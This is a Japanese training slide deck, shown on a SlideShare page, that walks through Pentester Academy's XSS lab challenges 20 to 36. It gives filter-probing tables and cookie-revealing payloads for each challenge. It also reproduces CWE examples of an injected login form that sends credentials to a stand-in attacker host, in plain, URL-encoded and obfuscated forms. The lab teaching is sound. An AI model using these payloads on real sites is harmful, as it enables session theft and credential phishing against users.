Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.

Web applicationpenetrationtest その5

Pentester Academyの無料版の問題の解答。
社内勉強会用に作成。
問題を解くときの考え方の流れ等もまとめています。
----
以下、スライドより抜粋。
ペンテスト(侵入テスト)のMOOCサイトの問題をガンガン解いていきます。
http://www.pentesteracademy.com/
その1.pptx Challenge 1 ~ Challenge 7  : 認証突破
その2.pptx Challenge 8 ~ Challenge 11 : セッションID突破
その3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析
その4.pptx Challenge 16 ~ Challenge 19 : HTML injection
その5.pptx Challenge 20 ~ Challenge 36 : XSS
その6.pptx以降  Unvalidated Redirects、CSRF

Ähnliche Bücher

Kostenlos mit einer 30-tägigen Testversion von Scribd

Alle anzeigen

Ähnliche Hörbücher

Kostenlos mit einer 30-tägigen Testversion von Scribd

Alle anzeigen
  • Als Erste(r) kommentieren

Web applicationpenetrationtest その5

  1. 1. 1 /84 長谷川
  2. 2. 2 /84 1. Webアプリのペネトレーションテストのスキルアップ ペンテスト(侵入テスト)のMOOCサイトの問題をガンガン解いていきます。 http://www.pentesteracademy.com/ その1.pptx Challenge 1 ~ Challenge 7 : 認証突破 その2.pptx Challenge 8 ~ Challenge 11 : セッションID突破 その3.pptx Challenge 12 ~ Challenge 15 : トラフィック解析 その4.pptx Challenge 16 ~ Challenge 19 : HTML injection その5.pptx Challenge 20 ~ Challenge 36 : XSS その6.pptx以降 Unvalidated Redirects、CSRF つづく Wikipediaより Massive Open Online Course (MOOC、ムーク) はインターネッ ト上で誰もが無料で受講できる大規模な開かれた講義のことである。
  3. 3. 3 /84  ツール、言語 ◦ Burp Suiteの詳細はその4.pptx 参照 ◦ その他のツールの説明はその1.pptx~その3.pptx 参照。  XSS:Cross-site Scripting(前提知識)  問題 & 解き方 & 解答
  4. 4. 4 /844 Pentester Academyの無料の問題からいくつか出題
  5. 5. 5 /84  情報収集:Reconnaissance ◦ 情報を収集する。(データフロー、フィンガープリント、ソース)  Wireshark、Blind Elephant、httprint  マッピング:Mapping ◦ ターゲットアプリケーションの検査。  Burp Spider、SprAJAX、WebScarab  発見:Discovery ◦ ターゲットアプリケーションの脆弱性の発見。  エクスプロイト:Exploit ◦ 脆弱性を実証する。 SANS SEC542より
  6. 6. 6 /846 問題を解く前に前提知識の勉強。
  7. 7. 7 /84  XSSという脆弱性の位置付け。 XSSはその4.pptxの injection攻撃の一つ。 共通脆弱性タイプ一覧CWE概説 https://www.ipa.go.jp/security/vuln/CWE.html
  8. 8. 8 /84  攻撃者のスクリプトを標的サイト上のスクリプトとしてユーザーに実行させる攻撃。  発生条件 ① 信頼されないデータがrequestからWebアプリケーションに入力される。 ② ①のデータをもとにして動的にWebページが生成される。 ③ 動的に生成されるページ上で実行可能なコンテンツ(Javascript、Flash等)を含めることができる。 ④ ユーザーは①②③で生成されたWebページにアクセスする。 ⑤ ユーザーのWebブラウザが④のWebページを要求したWebサーバーのドメインとして実行する。 攻撃者 Web サーバー Request ユーザー Webページ Response(Webページ) ユーザー Request+攻撃スクリプトアクセスさせる Request(+攻撃スクリプト) Response(Webページ+攻撃スクリプトの実行) Webページ 通常の動作 XSSの動作例
  9. 9. 9 /84 Type 1 Reflected XSS 反射型XSS Non-Persistent 非永続的 ユーザーのrequestに攻撃スクリプトを注入し、Web サーバーが生成したWebページをユーザーがブラウザ 等で開くときに攻撃が実行される。 前ページの「XSSの動作例」の動作。 標的型攻撃でよく利用される。 Type 2 Stored XSS 格納型XSS Persistent 永続的 攻撃スクリプトを標的サイトのデータベース、フォーラム、 ログ等に格納しておく。ユーザーがサイトにアクセスす ると攻撃が実行される。 Type 0 DOM-Based XSS DOMベースXSS ユーザー側(ブラウザ等)で動的Webページを生成する スクリプトに攻撃スクリプトを注入する。Webサーバー からのresponseをもとに、ブラウザが動的にWebペー ジを生成すると攻撃が実行される。 (参考)CWEにおけるXSSの定義 http://cwe.mitre.org/data/definitions/79.html
  10. 10. 10 /84  HTTP GETのuserパラメーターに基づき、Webページに Welcomeメッセージを表示する(動的なWebページ生成)。 PHPのコード(welcome.php) $username = $_GET['user']; echo '<div class="header"> Welcome, ' . $username . '</div>'; 攻撃スクリプト例①(userに下線赤字のパラメーター(攻撃スクリプト)を設定) http://trustedSite.example.com/welcome.php?user=<Script Language="Javascript">alert("You've been attacked!");</Script> 上記は単にポップアップが表示されるだけ。 攻撃者は上記のURLを偽装してメール送信したりする(標的型攻撃)。 次のスライドにもう少し攻撃的な例を示す。
  11. 11. 11 /84 攻撃スクリプト例②(userに下線赤字のパラメーター(攻撃スクリプト)を設定) http://trustedSite.example.com/welcome.php?user=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><input type="submit" value="Login"/></form></div> 上記はログインフォームを生成する攻撃スクリプト。 入力した内容を攻撃者に送信する攻撃スクリプトも追加し、ユーザーが攻撃用ページと 気付かずユーザー名/パスワードを入力すると、攻撃者に情報を知られてしまう。 Webブラウザの画面
  12. 12. 12 /84 攻撃スクリプト例③(userに下線赤字のパラメーター(攻撃スクリプト)を設定) http://trustedSite.example.com/welcome.php?user=%3Cdiv+id%3D%22 stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2 FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username% 22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+t ype%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A 上記は攻撃スクリプト例③と同様の攻撃スクリプトをエンコードしたもの。 URLが怪しいと気付かれないように、URLはエンコード等して難読化されることが多い。 攻撃スクリプト例④(userに下線赤字のパラメーター(攻撃スクリプト)を設定) http://trustedSite.example.com/welcome.php?user=<script+type="text/javascript"> document.write('u003Cu0064u0069u0076u0020u0069u0064u003Du0022u0073u0074u0065u0061u006Cu0050u0061u0073u0073 u0077u006Fu0072u0064u0022u003Eu0050u006Cu0065u0061u0073u0065u0020u004Cu006Fu0067u0069u006Eu003Au003Cu0 066u006Fu0072u006Du0020u006Eu0061u006Du0065u003Du0022u0069u006Eu0070u0075u0074u0022u0020u0061u0063u007 4u0069u006Fu006Eu003Du0022u0068u0074u0074u0070u003Au002Fu002Fu0061u0074u0074u0061u0063u006Bu002Eu0065u 0078u0061u006Du0070u006Cu0065u002Eu0063u006Fu006Du002Fu0073u0074u0065u0061u006Cu0050u0061u0073u0073u00 77u006Fu0072u0064u002Eu0070u0068u0070u0022u0020u006Du0065u0074u0068u006Fu0064u003Du0022u0070u006Fu0073 u0074u0022u003Eu0055u0073u0065u0072u006Eu0061u006Du0065u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0 074u0079u0070u0065u003Du0022u0074u0065u0078u0074u0022u0020u006Eu0061u006Du0065u003Du0022u0075u0073u006 5u0072u006Eu0061u006Du0065u0022u0020u002Fu003Eu003Cu0062u0072u002Fu003Eu0050u0061u0073u0073u0077u006Fu 0072u0064u003Au0020u003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003Du0022u0070u0061u0073u00 73u0077u006Fu0072u0064u0022u0020u006Eu0061u006Du0065u003Du0022u0070u0061u0073u0073u0077u006Fu0072u0064 u0022u0020u002Fu003Eu003Cu0069u006Eu0070u0075u0074u0020u0074u0079u0070u0065u003Du0022u0073u0075u0062u0 06Du0069u0074u0022u0020u0076u0061u006Cu0075u0065u003Du0022u004Cu006Fu0067u0069u006Eu0022u0020u002Fu003 Eu003Cu002Fu0066u006Fu0072u006Du003Eu003Cu002Fu0064u0069u0076u003Eu000D');</script>
  13. 13. 13 /84  HTTP requestから従業員ID eidを取得し、表示する。 JSPのコード例 <% String eid = request.getParameter("eid"); %> ... Employee ID: <%= eid %> 上記は、eidが英数字のみを含む場合は正しく動作する。 スクリプトを含む場合は攻撃スクリプトがWebブラウザで実行される。 ASP.NETのコード例 ... protected System.Web.UI.WebControls.TextBox Login; protected System.Web.UI.WebControls.Label eid; ... EmployeeID.Text = Login.Text; ... (HTML follows) ... <p><asp:label id="eid" runat="server" /></p> ...
  14. 14. 14 /84  ユーザーが指定したIDの従業員をDBで照会し、名前を出力する。 表示するnameはアプリケーションで管理されているDBのデータなので安全そうに見える。 しかし、nameの生成方法がユーザーが指定のeidに基づく場合、DBに攻撃スクリプトを仕 込み、そのスクリプトを呼び出すことで攻撃が引き起こされる可能性がある。 JSPのコード例 <% ... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("select * from emp where id="+eid); if (rs != null) { rs.next(); String name = rs.getString("name"); %> Employee Name: <%= name %>
  15. 15. 15 /84 IPAのセキュア・プログラミング講座等を参照。攻撃手法を学ぶことも重要。  IPAのセキュア・プログラミング講座 内容は古いが結構参考になる。 https://www.ipa.go.jp/security/awareness/vendor/programmingv2/index.html  Exploit Database 各種injection攻撃をはじめとした実際の攻撃コードのデータベース。 https://www.exploit-db.com/  CWE(Common Weakness Enumeration) 各種脆弱性の分類情報と実例、対策が書いてある。 http://cwe.mitre.org/data/definitions/79.html  その他 チートシート等。今回の問題はほぼチートシートを参考にして解いた。 結構試行錯誤しています。ツールとかAIとか使えばもっと楽だったかも。 https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet http://brutelogic.com.br/blog/cheat-sheet/
  16. 16. 16 /8416 Challenge 20 ~ Challenge 36 (重要)セキュリティレベルを最弱にしたIE11でやりました。 セキュリティレベルが高いとかブラウザによっては想定動作に ならないかも。
  17. 17. 17 /84 Challenge 20: XSS http://pentesteracademylab.appspot.com/lab/webapp/xss/1  目的 ◦ XSSを使い、alertでcookieを表示する。 Fetchボタンを押すと、 テキストボックスに 入力したテキストが表示される。
  18. 18. 18 /84  情報収集:Reconnaissance ソースを見るとただ表示しているだけ。 Cookieはこんな感じで送られてくる。
  19. 19. 19 /84  情報収集:Reconnaissance 使えるタグ、スクリプトを特定するためいろいろ入力する。 入力候補はXSSチートシートから適当にピックアップ。 入力 結果 <script>alert(1)</script> &lt;script&gt;alert(1)&lt;/script&gt; <iframe src=javascript:alert(1)> &lt;iframe src=javascript:alert(1)&gt; <iframe src="" onfocus="alert(1)"> <iframe src="" onfocus="alert(1)"> <iframe src="" onmouseout="alert(1)"> <iframe src="" onmouseout="alert(1)"> iframe + イベントの組み合わせで任意のスクリプトが実行可能とわかった。 イベントメソッドにJavaScriptを注入できる。 (参考)HTML Event Attributes https://www.w3schools.com/tags/ref_eventattributes.asp こんな感じでポップアップが表示される。 あとはCookieを表示してやればよい。
  20. 20. 20 /84  マッピング:Mapping  発見:Discovery JavaScriptではdocument.cookieでdocumentのcookieを取得可能。 (参考)Web APIインターフェース https://developer.mozilla.org/ja/docs/Web/API/Document 前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <iframe src="" onmouseout="alert(document.cookie)">
  21. 21. 21 /84 iframe領域からマウスポインタを離すと ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  22. 22. 22 /84 Challenge 21: XSS II http://pentesteracademylab.appspot.com/lab/webapp/xss/1  目的 ◦ XSSを使い、alertでCookieを表示する。  ヒント ◦ imgタグを使う。 Sendボタンを押すと、 テキストボックスに 入力したテキストが表示される。
  23. 23. 23 /84  情報収集:Reconnaissance ソースを見ると、こうなっている。 jsの部分 <script> function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data ); }); }</script> HTMLの部分 <div style="width:450px;height:300px" class="form-signin" > <h2 class="form-signin-heading">Safe Echo Chat v1.0</h2> <div style="width:400px;height:150px;overflow:auto;" class="chatbox" > </div> <br> <input name="usermsg" type="text" id="usermsg" size="10" /> <input name="submitmsg" type="submit" id="submitmsg" value="Send" onclick="click123()" class="btn btn-large btn-primary" /> </div> 画面の構成はシンプル ②テキストボックス ③ボタン ①チャット ④Sendボタンを押すと動作するJavaScript ① ② ③ Sendボタンがクリックされると jsのclick123が呼ばれる。 click123はテキストボックス の値をPOSTしている。 詳細は次スライド。
  24. 24. 24 /84  情報収集:Reconnaissance jsの部分の詳細。このページでは、jQueryを使っている。 append()、post()はjQueryの関数。 jsの部分 <script> function click123(event){ term = this["usermsg"].value $.post("/lab/webapp/xss/2",{message:term}, function( data ) { $( ".chatbox" ).append( data ); }); }</script> (参考)jQueryのpost API https://api.jquery.com/jQuery.post/ ①termにusermsgの値を代入 ②key=message, value=termを /lab/webapp/xss/2にPOSTし、 ③responseが返ってきたら 応答データをchatboxに連結。
  25. 25. 25 /84  情報収集:Reconnaissance まとめ Web サーバー HTML js ②usermsgにtestを代入。 onclickを呼び出し。 ①文字入力(test)、 Sendクリック ユーザー ③key=message、 value=testでPOST。 Request Response ④responseを chatboxに結合 ※request/responseは実際のパケット ⑤結果
  26. 26. 26 /84  情報収集:Reconnaissance 使えるタグ、スクリプトを特定するためいろいろ入力する。 入力候補はXSSチートシートから適当にピックアップ。imgタグ中心に精査。 入力 Responseデータ <img src="" onerror="alert(1)"> <img src="" deletederror="alert(1)"> <img ""> <img ""> <img src="javascript:alert(0);"> &lt;img src="javascript:alert(0);"&gt; <img """><script>alert(1)</script>"> <img """><script>alert(1)</script>"> 前と同じイベントを使う方法は対策済み。 Malformed IMG tagが使用できた。 (参考)XSS Filter Evasion Cheat Sheet / Malformed IMG tags https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet こんな感じでポップアップが表示される。 あとはCookieを表示してやればよい。
  27. 27. 27 /84  マッピング:Mapping  発見:Discovery jsではdocument.cookieでdocumentのcookieを取得可能。 (参考)Web APIインターフェース https://developer.mozilla.org/ja/docs/Web/API/Document 前スライドの結果と合わせるとこのような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <img """><script>alert(document.cookie)</script>">
  28. 28. 28 /84 前スライドの攻撃スクリプトをSendすると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  29. 29. 29 /84 Challenge 22: XSS III http://pentesteracademylab.appspot.com/lab/webapp/xss/4  目的 ◦ XSSを使い、alertでCookieを表示する。 ドロップダウンリストから 車メーカーを選択し、 Submitボタンを押すと、 車の台数が表示される。
  30. 30. 30 /84  情報収集:Reconnaissance ソースを見るとドロップダウンリストから選択した「BMW」をそのまま表示していると思わ れるところが2箇所ある。 Requestパケット RequestパケットのKey=productの値に 攻撃スクリプトを注入する。
  31. 31. 31 /84  マッピング:Mapping  発見:Discovery productをコメントを終端する攻撃スクリプトに書き換える。 書き換えにはBurp Suteを使う。 Burp Proxyの使い方はその4.pptx参照。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 --><input onmouseout="alert(document.cookie)">
  32. 32. 32 /84 前スライドの攻撃スクリプトを注入すると テキストボックスが表示され、テキストボッ クスからマウスを離した時にポップアップ が表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している パケットのcookie XSSで表示したcookie
  33. 33. 33 /84 Challenge 23: XSS IV http://pentesteracademylab.appspot.com/lab/webapp/xss/5  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストを入力して Fetchボタンを押すと 検索結果が表示される。
  34. 34. 34 /84  情報収集:Reconnaissance ソースを見るとただ表示しているだけ。 Request POST ソース requestの値を そのままvalueに設定している。
  35. 35. 35 /84  マッピング:Mapping  発見:Discovery valueを終端し、cookieを表示する攻撃スクリプトを入力する。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 "><script>alert(document.cookie)</script> <input type="text" value=""><script>alert(document.cookie)</script> ... となって、alertでcookieが表示される。
  36. 36. 36 /84 前スライドの攻撃スクリプトをFetchすると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  37. 37. 37 /84 Challenge 24: XSS V http://pentesteracademylab.appspot.com/lab/webapp/xss/6  目的 ◦ XSSを使い、alertでCookieを表示する。 グラフが表示されるページ。
  38. 38. 38 /84  情報収集:Reconnaissance ソースを見るGoogle Chart APIでグラフを作成している。 怪しい短縮URLがソース内にあった。 復元すると下記のXMLファイルになる。 http://demofilespa.s3.amazonaws.com/chart.xml このXMLファイルから表示するグラフを生成している。 そのまま表示されるlegentタグに 攻撃スクリプトを注入する方向で検討。 filenameを指定する必要があるみたい。
  39. 39. 39 /84  マッピング:Mapping  発見:Discovery 攻撃スクリプトの例。 注意点としては、「<」、「>」をエンコードしないとXMLエラーになるということ。 こんな感じでXMLファイルを渡すことができた。 AWSやDropboxを使って直リンでファイルを渡す。 http://pentesteracademylab.appspot.com/lab/webapp/xss/6?filenam e=https://dl.dropboxusercontent.com/s/XXXXXXXX/chart.xml URLはダミーです。 ファイルは自分でアップロードしてください。
  40. 40. 40 /84 前スライドの攻撃スクリプトを注入した URLにアクセスすると、ポップアップの中 にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  41. 41. 41 /84 Challenge 25: XSS VI http://pentesteracademylab.appspot.com/lab/webapp/xss/7  目的 ◦ XSSを使い、alertでCookieを表示する。 ファイルを選択し、 Submitボタンを押すと、 ファイル名が表示される。
  42. 42. 42 /84  情報収集:Reconnaissance ソースを見るとただ表示しているだけ。 Request POST 実際にファイルをアップロードしている。 表示しているファイル名はfilenameから 取得していると予想。 ⇒filenameに攻撃スクリプト注入する。 ソース
  43. 43. 43 /84  マッピング:Mapping  発見:Discovery Windowsだとファイル名にスクリプトを設定できないので、Burp Proxyを使い、 requestのfilenameを書き換える。Burp Proxyの使い方はその4.pptx参照。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <script>alert(document.cookie)</script> ファイル名を攻撃スクリプトに書き換え。
  44. 44. 44 /84 前スライドの攻撃スクリプトを注入すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  45. 45. 45 /84 Challenge 26: XSS VII http://pentesteracademylab.appspot.com/lab/webapp/xss/8  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Fetchボタンを押すと、 テキストが表示される。
  46. 46. 46 /84  情報収集:Reconnaissance ソースを見ると非表示データとして時刻をPOST送信、表示している。 Requestパケット テキストボックス Fetchボタン Fetchボタンを押すと実行される JavaScript 時刻を取得し、time_inputに設定する。 テキストボックスに入力した"test"以外にtime_inputとして時刻が送信されている。 key=search, value=test key=time_input, value=現在時刻 ↑送信した時刻が設定されている ※hiddenはセキュリティ的に使わない方がよい https://www.ipa.go.jp/security/index.html
  47. 47. 47 /84  マッピング:Mapping  発見:Discovery inputタグを終端する攻撃スクリプトでtime_inputを書き換える。 Burp Proxyの使い方はその4.pptx参照。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 "><script>alert(document.cookie)</script>
  48. 48. 48 /84 前スライドの攻撃スクリプトを注入すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie パケットのtime_input
  49. 49. 49 /84 Challenge 27: XSS VII http://pentesteracademylab.appspot.com/lab/webapp/xss/10  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Previewボタンを押すと、 入力したカラーコードの色が表示される。
  50. 50. 50 /84  情報収集:Reconnaissance ソースを見るとテキストボックスの入力値をvalue、background-colorに設定している。 カラーコードを表示しているボタン valueを終端しcookieを表示する攻撃スクリプトを注入する。 テキストボックスとPreviewボタン
  51. 51. 51 /84  情報収集:Reconnaissance 「<」と「>」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。 入力 Responseデータ "><script>alert(document.cookie)</script> "&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt; ⇒「<」と「>」が「&lt;」と「&gt;」に置き換え(エスケープ、サニタイ ジング)されている。 "onmouseout="alert(document.cookie)" "onmouseout="alert(document.cookie)" 攻撃スクリプト注入後のソース。
  52. 52. 52 /84 前スライドの攻撃スクリプトを注入すると テキストボックス、カラーコードボタンから マウスを話した時にポップアップが表示さ れる。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  53. 53. 53 /84 Challenge 28: XSS IX http://pentesteracademylab.appspot.com/lab/webapp/xss/11  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Previewボタンを押すと、 入力したカラーコードの色が表示される。 (Challenge 27と同じ)
  54. 54. 54 /84  情報収集:Reconnaissance ソースを見るとテキストボックスの入力値をvalue、background-colorに設定している。 カラーコードを表示しているボタン valueを終端しcookieを表示する攻撃スクリプトを注入する。 テキストボックスとPreviewボタン
  55. 55. 55 /84  情報収集:Reconnaissance 「<」と「>」はエスケープ、サニタイジングされているので、タグを使わない方向でいく。 入力 Responseデータ "><script>alert(document.cookie)</script> "&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt; " ⇒「<」と「>」が「&lt;」と「&gt;」に置き換え(エスケープ、サニタイ ジング)されている。 " onmouseout="alert(document.cookie)" " deletedmouseout="alert(document.cookie)"" イベントハンドラも対策済み。 " oncontextmenu="alert(document.cookie)" " oncontextmenu="alert(document.cookie)" (参考)XSS Filter Evasion Cheat Sheet / Event Handlers https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet イベントハンドラを全部試した。
  56. 56. 56 /84 前スライドの攻撃スクリプトを注入すると カラーコードボタンを右クリックした時に ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  57. 57. 57 /84 Challenge 29: XSS X http://pentesteracademylab.appspot.com/lab/webapp/xss/10  目的 ◦ XSSを使い、alertでCookieを表示する。 ◦ 開発者が開発中のページを公開してしまったシチュエーション。 テキストボックスに入力して Fetchボタンを押すと、 何かを検索するっぽい。
  58. 58. 58 /84  情報収集:Reconnaissance ソースを見ると、入力されたテキストをデバッグ用の関数で出力している。 入力された文字を出力。 Chromeのデベロッパーツール "test"と入力すると、testと出力される。 (参考)JavaScript Output https://www.w3schools.com/js/js_output.asp
  59. 59. 59 /84  マッピング:Mapping  発見:Discovery 何が入力されてもノーチェックのため、何でも実行可能。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 alert(document.cookie) フロントエンドの場合はデバッグコードをきちんと消しておきましょう!
  60. 60. 60 /84 前スライドの攻撃スクリプトを注入すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  61. 61. 61 /84 Challenge 30: XSS XI http://pentesteracademylab.appspot.com//lab/webapp/xss/13  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Fetchボタンを押すと、 何かを検索するっぽい。
  62. 62. 62 /84  情報収集:Reconnaissance ソースを見ると、入力されたテキストを表示しているだけ。 入力された文字を表示しているだけ。
  63. 63. 63 /84  情報収集:Reconnaissance 使えるタグ、スクリプトを特定するためいろいろ入力する。 入力候補はXSSチートシートから適当にピックアップ。 入力 Responseデータ <script>alert(document.cookie)</script> <>alert(document.cookie)</> <input onmouseout=alert(1)> <input onmouseout=alert(1)> (参考)XSS Filter Evasion Cheat Sheet / Miscellaneous Vectors https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet scriptタグがエスケープ、サニタイジングされるので、他のタグ+イベントを使う。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <input onmouseout=alert(document.cookie)>
  64. 64. 64 /84 前スライドの攻撃スクリプトを入力すると テキストボックスが表示される。 テキストボックスからマウスを離した時に ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie 攻撃スクリプトで作成したテキストボックス
  65. 65. 65 /84 Challenge 31: XSS XII http://pentesteracademylab.appspot.com//lab/webapp/xss/14  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Check User IDボタンを押すと、 ユーザーIDをチェックするっぽい。
  66. 66. 66 /84  情報収集:Reconnaissance ソースを見ると、入力されたテキストを表示しているだけ。 入力された文字を表示しているだけ。 #またこのパターンか。
  67. 67. 67 /84  情報収集:Reconnaissance 攻撃スクリプトをいろいろ入力する。 入力候補はXSSチートシートから適当にピックアップ。 入力 Responseデータ <script>alert(document.cookie)</script> <deleted>alert(document.cookie)</deleted> <input onmouseout=alert(1)> <input onmouseout=alert(1)> (参考)XSS Filter Evasion Cheat Sheet / Miscellaneous Vectors https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet scriptタグがエスケープ、サニタイジングされるので、他のタグのイベントを使う。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <input onmouseout=alert(document.cookie)>
  68. 68. 68 /84 前スライドの攻撃スクリプトを入力すると テキストボックスが表示される。 テキストボックスからマウスを離した時に ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie 攻撃スクリプトで作成したテキストボックス
  69. 69. 69 /84 Challenge 32: XSS XIII http://pentesteracademylab.appspot.com//lab/webapp/xss/15  目的 ◦ XSSを使い、alertでCookieを表示する。 URLを開くとログらしきものが表示されている。
  70. 70. 70 /84  情報収集:Reconnaissance ダミーのログが表示されているかと思ったが、一部にRequestデータが表示されている。 User-Agentヘッダーに攻撃スクリプトを注入する。 Webページ 送信RequestパケットのUser Agentヘッダー。 RequestデータのUser-Agentヘッダー。
  71. 71. 71 /84  マッピング:Mapping  発見:Discovery User-Agentヘッダーに攻撃スクリプトを注入する。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 <script>alert(document.cookie)</script> User-Agentヘッダーを攻撃スクリプトに書き換え。 Burp Proxyの使い方はその4.pptx参照。
  72. 72. 72 /84 前スライドの攻撃スクリプトを注入すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  73. 73. 73 /84 Challenge 33: XSS 14 http://pentesteracademylab.appspot.com/lab/webapp/xss/16  目的 ◦ XSSを使い、alertでCookieを表示する。 XMLファイルのURLを入力して Nextボタンを押すとユーザーを検索するみたい。 指定されたxmlファイルが表示される。 XMLファイルは「filetype:xml」でgoogle検索して 出てきたものを適当に入れた。
  74. 74. 74 /84  情報収集:Reconnaissance ソースを見ると、入力されたURLをiframeで表示しているだけ。 最近のブラウザはXSS対策が強化されていて、 XSS XMLで検索して出てきた様々なXSS用XMLを入れましたが全部ダメでした! ⇒最近のブラウザはXSS対策が強化されているため、こういうこともある。 問題のページにも一部のブラウザでは動作しないと書いてあった。 (参考)XSS Filter Evasion Cheat Sheet / XML data island with CDATA obfuscation https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  75. 75. 75 /84 Challenge 34: XSS 15 http://pentesteracademylab.appspot.com/lab/webapp/xss/17  目的 ◦ XSSを使い、alertでCookieを表示する。 何も表示されないページ。
  76. 76. 76 /84  情報収集:Reconnaissance ソースを見るとJavaScriptで下記の処理をやっている。 localStrageはcookieのようなデータをブラウザに保存する仕組み。 localStrage.getItemは指定したKeyの値を返すメソッド。 (参考)Storage.getItem https://developer.mozilla.org/ja/docs/Web/API/Storage/getItem Key=infoの値がnullだったら、 ハッシュフラグメントをinfoに設定 Key=infoの値をmsgに設定 Key=infoの値がnullでなかったら、 Key=infoに攻撃スクリプトを設定する方向性。
  77. 77. 77 /84  マッピング:Mapping  発見:Discovery localStrageにdivタグを終端する攻撃スクリプトを注入する。 このような攻撃スクリプトが考えられる。 攻撃スクリプトの一例 </div><input onmouseout=alert(document.cookie)><div> IEの場合、F12開発者ツールを使い、コンソールからlocalStrageを書き換える。
  78. 78. 78 /84 前スライドの攻撃スクリプトを注入すると テキストボックスが表示される。 テキストボックスからマウスを離した時に ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  79. 79. 79 /84 Challenge 35: XSS 16 http://pentesteracademylab.appspot.com/lab/webapp/xss/18  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Fetchボタンを押すと、 何かを検索するっぽい。
  80. 80. 80 /84  情報収集:Reconnaissance ソースを見ると、入力されたテキストを代入している。 入力された文字を代入している。 ここに攻撃スクリプトを注入する。 試したところ「"」がエスケープされる。 scriptブロックを終了し、新規スクリプトブロックを開始する(Escaping JavaScript escapeというテク)。 このような攻撃スクリプトが考えられる。攻撃スクリプトの一例 </script><script>alert(document.cookie);</script> (参考)XSS Filter Evasion Cheat Sheet / Escaping JavaScript escapes https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  81. 81. 81 /84 前スライドの攻撃スクリプトを入力すると ポップアップが表示される。 ポップアップの中にcookieが表示される。 実際に設定されたcookieと一致している。 パケットのcookie XSSで表示したcookie
  82. 82. 82 /84 Challenge 36: XSS 16 http://pentesteracademylab.appspot.com/lab/webapp/xss/18  目的 ◦ XSSを使い、alertでCookieを表示する。 テキストボックスに入力して Renderボタンを押す。 特に何も変わらない。
